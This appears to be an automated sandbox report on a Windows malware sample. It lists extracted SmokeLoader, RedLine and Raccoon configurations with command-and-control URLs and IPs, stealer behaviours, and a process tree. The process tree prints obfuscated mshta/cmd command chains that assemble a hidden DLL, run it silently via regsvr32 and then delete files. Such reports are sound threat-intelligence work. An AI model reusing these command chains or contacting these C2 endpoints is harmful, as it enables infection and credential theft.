Analysis
-
max time kernel
151s -
max time network
150s -
platform
windows10_x64 -
resource
win10-en-20211104 -
submitted
13-11-2021 23:12
Static task
static1
Behavioral task
behavioral1
Sample
ad46433f3ab224e118c56c5999f79e8d70988743f22c3c7f782fc30629206ecd.exe
Resource
win10-en-20211104
General
-
Target
ad46433f3ab224e118c56c5999f79e8d70988743f22c3c7f782fc30629206ecd.exe
-
Size
316KB
-
MD5
3b8b3149499399c9b6196a04df0e9805
-
SHA1
723b8c50813292467d370bc77869ceb1cda6e45b
-
SHA256
ad46433f3ab224e118c56c5999f79e8d70988743f22c3c7f782fc30629206ecd
-
SHA512
2d9b0a04d4653ed0cac8b32802bb42be9d1ce5e983e2e96d7cd5f1e65ac4fdf6ba83e57947815976b29a17f7200e13dba18d7a5552591bc49b6c2d2b07e51bc5
Malware Config
Extracted
smokeloader
2020
http://host-file-host6.com/
http://host-host-file8.com/
http://srtuiyhuali.at/
http://fufuiloirtu.com/
http://amogohuigotuli.at/
http://novohudosovu.com/
http://brutuilionust.com/
http://bubushkalioua.com/
http://dumuilistrati.at/
http://verboliatsiaeeees.com/
Extracted
redline
185.159.80.90:38637
Extracted
redline
SuperStar
185.215.113.29:36224
Extracted
raccoon
1.8.3-hotfix
ddf183af4241e3172885cf1b2c4c1fb4ee03d05a
-
url4cnc
http://91.219.236.27/capibar
http://5.181.156.92/capibar
http://91.219.236.207/capibar
http://185.225.19.18/capibar
http://91.219.237.227/capibar
https://t.me/capibar
Extracted
raccoon
1.8.3-hotfix
675718a5f2ce6d3cacf6cb04a512f5637eae995f
-
url4cnc
http://91.219.236.27/agrybirdsgamerept
http://5.181.156.92/agrybirdsgamerept
http://91.219.236.207/agrybirdsgamerept
http://185.225.19.18/agrybirdsgamerept
http://91.219.237.227/agrybirdsgamerept
http://185.163.47.176/agrybirdsgamerept
Extracted
redline
imbest
45.153.186.153:56675
Signatures
-
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
RedLine Payload 6 IoCs
Processes:
resource yara_rule behavioral1/memory/916-152-0x0000000000400000-0x0000000000420000-memory.dmp family_redline behavioral1/memory/916-153-0x0000000000418EEA-mapping.dmp family_redline behavioral1/memory/1580-168-0x0000000001FE0000-0x0000000001FFC000-memory.dmp family_redline behavioral1/memory/1580-172-0x0000000004920000-0x000000000493B000-memory.dmp family_redline behavioral1/memory/1996-240-0x00000000049A0000-0x00000000049CD000-memory.dmp family_redline behavioral1/memory/1996-242-0x00000000070B0000-0x00000000070DC000-memory.dmp family_redline -
SmokeLoader
Modular backdoor trojan in use since 2014.
-
Suspicious use of NtCreateProcessExOtherParentProcess 1 IoCs
Processes:
WerFault.exedescription pid process target process PID 4012 created 1296 4012 WerFault.exe D00.exe -
Downloads MZ/PE file
-
Executes dropped EXE 15 IoCs
Processes:
F9F1.exeFE86.exe146.exe668.exeF9F1.exeD00.exeFE86.exe668.exe20A8.exe79E5.exeSIOFYL_.eXE8B2C.exejrhrejivrhrejivrhrejipid process 4696 F9F1.exe 3776 FE86.exe 652 146.exe 1012 668.exe 1244 F9F1.exe 1296 D00.exe 916 FE86.exe 1580 668.exe 2684 20A8.exe 2340 79E5.exe 4464 SIOFYL_.eXE 1996 8B2C.exe 4928 jrhreji 960 vrhreji 3712 vrhreji -
Deletes itself 1 IoCs
Processes:
pid process 2236 -
Loads dropped DLL 2 IoCs
Processes:
regsvr32.exepid process 1700 regsvr32.exe 1700 regsvr32.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
Processes:
explorer.exedescription ioc process Key opened \REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 explorer.exe Key opened \REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 explorer.exe Key opened \REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 explorer.exe -
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
-
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Suspicious use of SetThreadContext 5 IoCs
Processes:
ad46433f3ab224e118c56c5999f79e8d70988743f22c3c7f782fc30629206ecd.exeF9F1.exeFE86.exe668.exevrhrejidescription pid process target process PID 4384 set thread context of 4336 4384 ad46433f3ab224e118c56c5999f79e8d70988743f22c3c7f782fc30629206ecd.exe ad46433f3ab224e118c56c5999f79e8d70988743f22c3c7f782fc30629206ecd.exe PID 4696 set thread context of 1244 4696 F9F1.exe F9F1.exe PID 3776 set thread context of 916 3776 FE86.exe FE86.exe PID 1012 set thread context of 1580 1012 668.exe 668.exe PID 960 set thread context of 3712 960 vrhreji vrhreji -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Program crash 1 IoCs
Processes:
WerFault.exepid pid_target process target process 4012 1296 WerFault.exe D00.exe -
Checks SCSI registry key(s) 3 TTPs 9 IoCs
SCSI information is often read in order to detect sandboxing environments.
Processes:
ad46433f3ab224e118c56c5999f79e8d70988743f22c3c7f782fc30629206ecd.exe146.exejrhrejidescription ioc process Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI ad46433f3ab224e118c56c5999f79e8d70988743f22c3c7f782fc30629206ecd.exe Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI ad46433f3ab224e118c56c5999f79e8d70988743f22c3c7f782fc30629206ecd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI 146.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI jrhreji Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI jrhreji Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI ad46433f3ab224e118c56c5999f79e8d70988743f22c3c7f782fc30629206ecd.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI 146.exe Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI 146.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI jrhreji -
Kills process with taskkill 1 IoCs
Processes:
taskkill.exepid process 4744 taskkill.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
ad46433f3ab224e118c56c5999f79e8d70988743f22c3c7f782fc30629206ecd.exepid process 4336 ad46433f3ab224e118c56c5999f79e8d70988743f22c3c7f782fc30629206ecd.exe 4336 ad46433f3ab224e118c56c5999f79e8d70988743f22c3c7f782fc30629206ecd.exe 2236 2236 2236 2236 2236 2236 2236 2236 2236 2236 2236 2236 2236 2236 2236 2236 2236 2236 2236 2236 2236 2236 2236 2236 2236 2236 2236 2236 2236 2236 2236 2236 2236 2236 2236 2236 2236 2236 2236 2236 2236 2236 2236 2236 2236 2236 2236 2236 2236 2236 2236 2236 2236 2236 2236 2236 2236 2236 2236 2236 2236 2236 -
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
Processes:
pid process 2236 -
Suspicious behavior: MapViewOfSection 7 IoCs
Processes:
ad46433f3ab224e118c56c5999f79e8d70988743f22c3c7f782fc30629206ecd.exe146.exejrhrejipid process 4336 ad46433f3ab224e118c56c5999f79e8d70988743f22c3c7f782fc30629206ecd.exe 652 146.exe 2236 2236 2236 2236 4928 jrhreji -
Suspicious use of AdjustPrivilegeToken 64 IoCs
Processes:
WerFault.exeFE86.exetaskkill.exedescription pid process Token: SeShutdownPrivilege 2236 Token: SeCreatePagefilePrivilege 2236 Token: SeShutdownPrivilege 2236 Token: SeCreatePagefilePrivilege 2236 Token: SeShutdownPrivilege 2236 Token: SeCreatePagefilePrivilege 2236 Token: SeShutdownPrivilege 2236 Token: SeCreatePagefilePrivilege 2236 Token: SeShutdownPrivilege 2236 Token: SeCreatePagefilePrivilege 2236 Token: SeShutdownPrivilege 2236 Token: SeCreatePagefilePrivilege 2236 Token: SeShutdownPrivilege 2236 Token: SeCreatePagefilePrivilege 2236 Token: SeShutdownPrivilege 2236 Token: SeCreatePagefilePrivilege 2236 Token: SeRestorePrivilege 4012 WerFault.exe Token: SeBackupPrivilege 4012 WerFault.exe Token: SeDebugPrivilege 4012 WerFault.exe Token: SeShutdownPrivilege 2236 Token: SeCreatePagefilePrivilege 2236 Token: SeShutdownPrivilege 2236 Token: SeCreatePagefilePrivilege 2236 Token: SeDebugPrivilege 916 FE86.exe Token: SeShutdownPrivilege 2236 Token: SeCreatePagefilePrivilege 2236 Token: SeShutdownPrivilege 2236 Token: SeCreatePagefilePrivilege 2236 Token: SeShutdownPrivilege 2236 Token: SeCreatePagefilePrivilege 2236 Token: SeDebugPrivilege 4744 taskkill.exe Token: SeShutdownPrivilege 2236 Token: SeCreatePagefilePrivilege 2236 Token: SeShutdownPrivilege 2236 Token: SeCreatePagefilePrivilege 2236 Token: SeShutdownPrivilege 2236 Token: SeCreatePagefilePrivilege 2236 Token: SeShutdownPrivilege 2236 Token: SeCreatePagefilePrivilege 2236 Token: SeShutdownPrivilege 2236 Token: SeCreatePagefilePrivilege 2236 Token: SeShutdownPrivilege 2236 Token: SeCreatePagefilePrivilege 2236 Token: SeShutdownPrivilege 2236 Token: SeCreatePagefilePrivilege 2236 Token: SeShutdownPrivilege 2236 Token: SeCreatePagefilePrivilege 2236 Token: SeShutdownPrivilege 2236 Token: SeCreatePagefilePrivilege 2236 Token: SeShutdownPrivilege 2236 Token: SeCreatePagefilePrivilege 2236 Token: SeShutdownPrivilege 2236 Token: SeCreatePagefilePrivilege 2236 Token: SeShutdownPrivilege 2236 Token: SeCreatePagefilePrivilege 2236 Token: SeShutdownPrivilege 2236 Token: SeCreatePagefilePrivilege 2236 Token: SeShutdownPrivilege 2236 Token: SeCreatePagefilePrivilege 2236 Token: SeShutdownPrivilege 2236 Token: SeCreatePagefilePrivilege 2236 Token: SeShutdownPrivilege 2236 Token: SeCreatePagefilePrivilege 2236 Token: SeShutdownPrivilege 2236 -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
ad46433f3ab224e118c56c5999f79e8d70988743f22c3c7f782fc30629206ecd.exeFE86.exeF9F1.exe668.exe79E5.exemshta.execmd.exeSIOFYL_.eXEdescription pid process target process PID 4384 wrote to memory of 4336 4384 ad46433f3ab224e118c56c5999f79e8d70988743f22c3c7f782fc30629206ecd.exe ad46433f3ab224e118c56c5999f79e8d70988743f22c3c7f782fc30629206ecd.exe PID 4384 wrote to memory of 4336 4384 ad46433f3ab224e118c56c5999f79e8d70988743f22c3c7f782fc30629206ecd.exe ad46433f3ab224e118c56c5999f79e8d70988743f22c3c7f782fc30629206ecd.exe PID 4384 wrote to memory of 4336 4384 ad46433f3ab224e118c56c5999f79e8d70988743f22c3c7f782fc30629206ecd.exe ad46433f3ab224e118c56c5999f79e8d70988743f22c3c7f782fc30629206ecd.exe PID 4384 wrote to memory of 4336 4384 ad46433f3ab224e118c56c5999f79e8d70988743f22c3c7f782fc30629206ecd.exe ad46433f3ab224e118c56c5999f79e8d70988743f22c3c7f782fc30629206ecd.exe PID 4384 wrote to memory of 4336 4384 ad46433f3ab224e118c56c5999f79e8d70988743f22c3c7f782fc30629206ecd.exe ad46433f3ab224e118c56c5999f79e8d70988743f22c3c7f782fc30629206ecd.exe PID 4384 wrote to memory of 4336 4384 ad46433f3ab224e118c56c5999f79e8d70988743f22c3c7f782fc30629206ecd.exe ad46433f3ab224e118c56c5999f79e8d70988743f22c3c7f782fc30629206ecd.exe PID 2236 wrote to memory of 4696 2236 F9F1.exe PID 2236 wrote to memory of 4696 2236 F9F1.exe PID 2236 wrote to memory of 4696 2236 F9F1.exe PID 2236 wrote to memory of 3776 2236 FE86.exe PID 2236 wrote to memory of 3776 2236 FE86.exe PID 2236 wrote to memory of 3776 2236 FE86.exe PID 2236 wrote to memory of 652 2236 146.exe PID 2236 wrote to memory of 652 2236 146.exe PID 2236 wrote to memory of 652 2236 146.exe PID 3776 wrote to memory of 916 3776 FE86.exe FE86.exe PID 3776 wrote to memory of 916 3776 FE86.exe FE86.exe PID 3776 wrote to memory of 916 3776 FE86.exe FE86.exe PID 2236 wrote to memory of 1012 2236 668.exe PID 2236 wrote to memory of 1012 2236 668.exe PID 2236 wrote to memory of 1012 2236 668.exe PID 4696 wrote to memory of 1244 4696 F9F1.exe F9F1.exe PID 4696 wrote to memory of 1244 4696 F9F1.exe F9F1.exe PID 4696 wrote to memory of 1244 4696 F9F1.exe F9F1.exe PID 4696 wrote to memory of 1244 4696 F9F1.exe F9F1.exe PID 4696 wrote to memory of 1244 4696 F9F1.exe F9F1.exe PID 4696 wrote to memory of 1244 4696 F9F1.exe F9F1.exe PID 2236 wrote to memory of 1296 2236 D00.exe PID 2236 wrote to memory of 1296 2236 D00.exe PID 2236 wrote to memory of 1296 2236 D00.exe PID 3776 wrote to memory of 916 3776 FE86.exe FE86.exe PID 3776 wrote to memory of 916 3776 FE86.exe FE86.exe PID 3776 wrote to memory of 916 3776 FE86.exe FE86.exe PID 3776 wrote to memory of 916 3776 FE86.exe FE86.exe PID 3776 wrote to memory of 916 3776 FE86.exe FE86.exe PID 1012 wrote to memory of 1580 1012 668.exe 668.exe PID 1012 wrote to memory of 1580 1012 668.exe 668.exe PID 1012 wrote to memory of 1580 1012 668.exe 668.exe PID 1012 wrote to memory of 1580 1012 668.exe 668.exe PID 1012 wrote to memory of 1580 1012 668.exe 668.exe PID 1012 wrote to memory of 1580 1012 668.exe 668.exe PID 1012 wrote to memory of 1580 1012 668.exe 668.exe PID 1012 wrote to memory of 1580 1012 668.exe 668.exe PID 1012 wrote to memory of 1580 1012 668.exe 668.exe PID 2236 wrote to memory of 2684 2236 20A8.exe PID 2236 wrote to memory of 2684 2236 20A8.exe PID 2236 wrote to memory of 2684 2236 20A8.exe PID 2236 wrote to memory of 2340 2236 79E5.exe PID 2236 wrote to memory of 2340 2236 79E5.exe PID 2236 wrote to memory of 2340 2236 79E5.exe PID 2340 wrote to memory of 2780 2340 79E5.exe mshta.exe PID 2340 wrote to memory of 2780 2340 79E5.exe mshta.exe PID 2340 wrote to memory of 2780 2340 79E5.exe mshta.exe PID 2780 wrote to memory of 4736 2780 mshta.exe cmd.exe PID 2780 wrote to memory of 4736 2780 mshta.exe cmd.exe PID 2780 wrote to memory of 4736 2780 mshta.exe cmd.exe PID 4736 wrote to memory of 4464 4736 cmd.exe SIOFYL_.eXE PID 4736 wrote to memory of 4464 4736 cmd.exe SIOFYL_.eXE PID 4736 wrote to memory of 4464 4736 cmd.exe SIOFYL_.eXE PID 4736 wrote to memory of 4744 4736 cmd.exe taskkill.exe PID 4736 wrote to memory of 4744 4736 cmd.exe taskkill.exe PID 4736 wrote to memory of 4744 4736 cmd.exe taskkill.exe PID 4464 wrote to memory of 4272 4464 SIOFYL_.eXE mshta.exe PID 4464 wrote to memory of 4272 4464 SIOFYL_.eXE mshta.exe -
outlook_office_path 1 IoCs
Processes:
explorer.exedescription ioc process Key opened \REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 explorer.exe -
outlook_win_path 1 IoCs
Processes:
explorer.exedescription ioc process Key opened \REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 explorer.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\ad46433f3ab224e118c56c5999f79e8d70988743f22c3c7f782fc30629206ecd.exe"C:\Users\Admin\AppData\Local\Temp\ad46433f3ab224e118c56c5999f79e8d70988743f22c3c7f782fc30629206ecd.exe"1⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\ad46433f3ab224e118c56c5999f79e8d70988743f22c3c7f782fc30629206ecd.exe"C:\Users\Admin\AppData\Local\Temp\ad46433f3ab224e118c56c5999f79e8d70988743f22c3c7f782fc30629206ecd.exe"2⤵
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
-
C:\Users\Admin\AppData\Local\Temp\F9F1.exeC:\Users\Admin\AppData\Local\Temp\F9F1.exe1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\F9F1.exeC:\Users\Admin\AppData\Local\Temp\F9F1.exe2⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\FE86.exeC:\Users\Admin\AppData\Local\Temp\FE86.exe1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\FE86.exeC:\Users\Admin\AppData\Local\Temp\FE86.exe2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\146.exeC:\Users\Admin\AppData\Local\Temp\146.exe1⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
-
C:\Users\Admin\AppData\Local\Temp\668.exeC:\Users\Admin\AppData\Local\Temp\668.exe1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\668.exeC:\Users\Admin\AppData\Local\Temp\668.exe2⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\D00.exeC:\Users\Admin\AppData\Local\Temp\D00.exe1⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1296 -s 8722⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Program crash
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\20A8.exeC:\Users\Admin\AppData\Local\Temp\20A8.exe1⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\79E5.exeC:\Users\Admin\AppData\Local\Temp\79E5.exe1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbscRiPt: cLoSE ( CreaTEObJect("WSCrIpt.ShElL" ).Run ( "CMd.EXe /Q/c COPY /Y ""C:\Users\Admin\AppData\Local\Temp\79E5.exe"" ..\SIOFYL_.eXE && sTarT ..\SioFyL_.exE /PqgNvw4IlDLT7hpq3_wecIlKVwsIMk &IF """"== """" for %S IN ( ""C:\Users\Admin\AppData\Local\Temp\79E5.exe"" ) do taskkill -f /iM ""%~NXS"" " , 0 , TrUE ))2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /Q/c COPY /Y "C:\Users\Admin\AppData\Local\Temp\79E5.exe" ..\SIOFYL_.eXE && sTarT ..\SioFyL_.exE /PqgNvw4IlDLT7hpq3_wecIlKVwsIMk &IF ""== "" for %S IN ("C:\Users\Admin\AppData\Local\Temp\79E5.exe" ) do taskkill -f /iM "%~NXS"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\SIOFYL_.eXE..\SioFyL_.exE /PqgNvw4IlDLT7hpq3_wecIlKVwsIMk4⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbscRiPt: cLoSE ( CreaTEObJect("WSCrIpt.ShElL" ).Run ( "CMd.EXe /Q/c COPY /Y ""C:\Users\Admin\AppData\Local\Temp\SIOFYL_.eXE"" ..\SIOFYL_.eXE && sTarT ..\SioFyL_.exE /PqgNvw4IlDLT7hpq3_wecIlKVwsIMk &IF ""/PqgNvw4IlDLT7hpq3_wecIlKVwsIMk ""== """" for %S IN ( ""C:\Users\Admin\AppData\Local\Temp\SIOFYL_.eXE"" ) do taskkill -f /iM ""%~NXS"" " , 0 , TrUE ))5⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /Q/c COPY /Y "C:\Users\Admin\AppData\Local\Temp\SIOFYL_.eXE" ..\SIOFYL_.eXE && sTarT ..\SioFyL_.exE /PqgNvw4IlDLT7hpq3_wecIlKVwsIMk &IF "/PqgNvw4IlDLT7hpq3_wecIlKVwsIMk "== "" for %S IN ("C:\Users\Admin\AppData\Local\Temp\SIOFYL_.eXE" ) do taskkill -f /iM "%~NXS"6⤵
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VbscrIPT: cLOSE(cREateObJeCt( "wscRiPt.SHELl"). Run ("cMd /r Echo | set /P = ""MZ"" > V_DXQ.No & COPY /y /b V_dXQ.NO +WX0Cjy.A + BPROiU.ZB +oWfJ6VGN.C+ Yg_AN9.GRP ..\CXSXSHYX.ZBV & STARt regsvr32 ..\CxSXSHYX.ZBV -s & dEL /q * " ,0 ,tRuE ) )5⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /r Echo | set /P = "MZ" > V_DXQ.No & COPY /y /b V_dXQ.NO +WX0Cjy.A + BPROiU.ZB +oWfJ6VGN.C+ Yg_AN9.GRP ..\CXSXSHYX.ZBV & STARt regsvr32 ..\CxSXSHYX.ZBV -s & dEL /q *6⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" Echo "7⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" set /P = "MZ" 1>V_DXQ.No"7⤵
-
C:\Windows\SysWOW64\regsvr32.exeregsvr32 ..\CxSXSHYX.ZBV -s7⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f /iM "79E5.exe"4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\8B2C.exeC:\Users\Admin\AppData\Local\Temp\8B2C.exe1⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵
- Accesses Microsoft Outlook profiles
- outlook_office_path
- outlook_win_path
-
C:\Windows\explorer.exeC:\Windows\explorer.exe1⤵
-
C:\Users\Admin\AppData\Roaming\jrhrejiC:\Users\Admin\AppData\Roaming\jrhreji1⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
-
C:\Users\Admin\AppData\Roaming\vrhrejiC:\Users\Admin\AppData\Roaming\vrhreji1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Roaming\vrhrejiC:\Users\Admin\AppData\Roaming\vrhreji2⤵
- Executes dropped EXE
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\FE86.exe.logMD5
41fbed686f5700fc29aaccf83e8ba7fd
SHA15271bc29538f11e42a3b600c8dc727186e912456
SHA256df4e9d012687cdabd15e86bf37be15d6c822e1f50dde530a02468f0006586437
SHA512234b2235c1ced25810a4121c5eabcbf9f269e82c126a1adc363ee34478173f8b462e90eb53f5f11533641663350b90ec1e2360fd805b10c041fab12f4da7a034
-
C:\Users\Admin\AppData\Local\Temp\146.exeMD5
d985b4cfdceecc3c0fe4f3e4fda4e416
SHA1f3c14a4d87569e54faaf0eac73ec1aafa2621dfa
SHA256a8b37d6b073ee045ae63473cb1a592c974e896b19e3db06d552f955901c06db7
SHA512560a056c076db6893f6407807d9a10d1078c148aa588d9de6ce1874eeac0a4feaf2102b656ba96316a32c89df97986f20cf77e55117e2c9bf97e52ef3381335c
-
C:\Users\Admin\AppData\Local\Temp\146.exeMD5
d985b4cfdceecc3c0fe4f3e4fda4e416
SHA1f3c14a4d87569e54faaf0eac73ec1aafa2621dfa
SHA256a8b37d6b073ee045ae63473cb1a592c974e896b19e3db06d552f955901c06db7
SHA512560a056c076db6893f6407807d9a10d1078c148aa588d9de6ce1874eeac0a4feaf2102b656ba96316a32c89df97986f20cf77e55117e2c9bf97e52ef3381335c
-
C:\Users\Admin\AppData\Local\Temp\20A8.exeMD5
94cdb7d747fb129a710b25bb4044b5a7
SHA199c604bacdd53f192b102c3bd08da41fe6f29f6a
SHA2566f391d149f103ec2e7eb5af33aa119d7977caa80a815d388044d50abc0607a72
SHA512300702ed891af245aceb6fce471ddf570ee7601670e303a9dc5df49eeca8a6cf1d84bbc0aac7f0392147c6da84b3557467a63542d7359c42e632db52dc1c721c
-
C:\Users\Admin\AppData\Local\Temp\20A8.exeMD5
94cdb7d747fb129a710b25bb4044b5a7
SHA199c604bacdd53f192b102c3bd08da41fe6f29f6a
SHA2566f391d149f103ec2e7eb5af33aa119d7977caa80a815d388044d50abc0607a72
SHA512300702ed891af245aceb6fce471ddf570ee7601670e303a9dc5df49eeca8a6cf1d84bbc0aac7f0392147c6da84b3557467a63542d7359c42e632db52dc1c721c
-
C:\Users\Admin\AppData\Local\Temp\668.exeMD5
99f2718e43c7dd72454247eeb62293c1
SHA150b99c43edc80fe00b337da36824cf41b9f805d1
SHA2561d445744c48ab5c42c6debade8ac246f53e7bf29c59b11c94e38808917eac264
SHA51238b0c27da0892fcff952260ce4328e9748f799b96a0d8bc8210c49868d113660b5641516ae019e2048437c1c56f474b2ed00fac2b19441572328c7dc577ee419
-
C:\Users\Admin\AppData\Local\Temp\668.exeMD5
99f2718e43c7dd72454247eeb62293c1
SHA150b99c43edc80fe00b337da36824cf41b9f805d1
SHA2561d445744c48ab5c42c6debade8ac246f53e7bf29c59b11c94e38808917eac264
SHA51238b0c27da0892fcff952260ce4328e9748f799b96a0d8bc8210c49868d113660b5641516ae019e2048437c1c56f474b2ed00fac2b19441572328c7dc577ee419
-
C:\Users\Admin\AppData\Local\Temp\668.exeMD5
99f2718e43c7dd72454247eeb62293c1
SHA150b99c43edc80fe00b337da36824cf41b9f805d1
SHA2561d445744c48ab5c42c6debade8ac246f53e7bf29c59b11c94e38808917eac264
SHA51238b0c27da0892fcff952260ce4328e9748f799b96a0d8bc8210c49868d113660b5641516ae019e2048437c1c56f474b2ed00fac2b19441572328c7dc577ee419
-
C:\Users\Admin\AppData\Local\Temp\79E5.exeMD5
57861feb58cc7432fc9191f26beac607
SHA1e76e9ea41e4cf2f5869bbf696e216e688fb7b82b
SHA2561c48f756080c780600c8eb59f9d10bc5f22b0ce2245687c9f51d6c2455a07a4e
SHA5120ccfb8364049473e1c36825ad009570ce68ba689a2de9e4f02688a44b508fe9f075e83e6c8d2a7d2c8d62cbf99c7054b0cc226ab6637fe816764f708a05bcfeb
-
C:\Users\Admin\AppData\Local\Temp\79E5.exeMD5
57861feb58cc7432fc9191f26beac607
SHA1e76e9ea41e4cf2f5869bbf696e216e688fb7b82b
SHA2561c48f756080c780600c8eb59f9d10bc5f22b0ce2245687c9f51d6c2455a07a4e
SHA5120ccfb8364049473e1c36825ad009570ce68ba689a2de9e4f02688a44b508fe9f075e83e6c8d2a7d2c8d62cbf99c7054b0cc226ab6637fe816764f708a05bcfeb
-
C:\Users\Admin\AppData\Local\Temp\8B2C.exeMD5
fbd85df545d628ad7f29e4a52ffc2259
SHA1699ce7adc17781cece5516b93fed18ad3f19cb8d
SHA256741a32eeb904ef5f83347a5bb0bcfcd46b7ebec5acc4c2894b7dbf171bc0495c
SHA512ec2cf369ee5a597216384ddf5d8b42532b1763bfd39270823f8019315237538b3ef95331129e1d50b6525f8b5b0a951b82b3f81dfa586381c577e25eaed12bac
-
C:\Users\Admin\AppData\Local\Temp\8B2C.exeMD5
fbd85df545d628ad7f29e4a52ffc2259
SHA1699ce7adc17781cece5516b93fed18ad3f19cb8d
SHA256741a32eeb904ef5f83347a5bb0bcfcd46b7ebec5acc4c2894b7dbf171bc0495c
SHA512ec2cf369ee5a597216384ddf5d8b42532b1763bfd39270823f8019315237538b3ef95331129e1d50b6525f8b5b0a951b82b3f81dfa586381c577e25eaed12bac
-
C:\Users\Admin\AppData\Local\Temp\CxSXSHYX.ZBVMD5
7b6b92824521560b7c5c7cac13787f8d
SHA13adc97f216e6b93bc98ac47b8606969a361a2193
SHA256f2d143474f716fca7c267b0ee9f15d4c100c949094003a363802044df61d8b7c
SHA512b2a1e3f5020fc9915705659ecb6bce7be2afb506d7a85d8f315113bd85d15ff633e0254346db75fe778bbb4d4b0a7e257c5dc3126c05037012dddbdf77b45960
-
C:\Users\Admin\AppData\Local\Temp\D00.exeMD5
0f9d1f2e3aaad601bb95a039b0aedcfb
SHA1141e7b7b2a4a31b2a7e599b2d2064239fcc66707
SHA256db4ec306ea32c01cb486566c699b9b88013beb26c2830319785bf5a4ee4735b5
SHA512b68708a0aa425a3f90df3c1639aeb2358f34fa5bfb3691d3010cd528cdce99692269b13cda9f05172d8608fc08b7b7ca5449d495290a5e9e81221edfe9d052e7
-
C:\Users\Admin\AppData\Local\Temp\D00.exeMD5
0f9d1f2e3aaad601bb95a039b0aedcfb
SHA1141e7b7b2a4a31b2a7e599b2d2064239fcc66707
SHA256db4ec306ea32c01cb486566c699b9b88013beb26c2830319785bf5a4ee4735b5
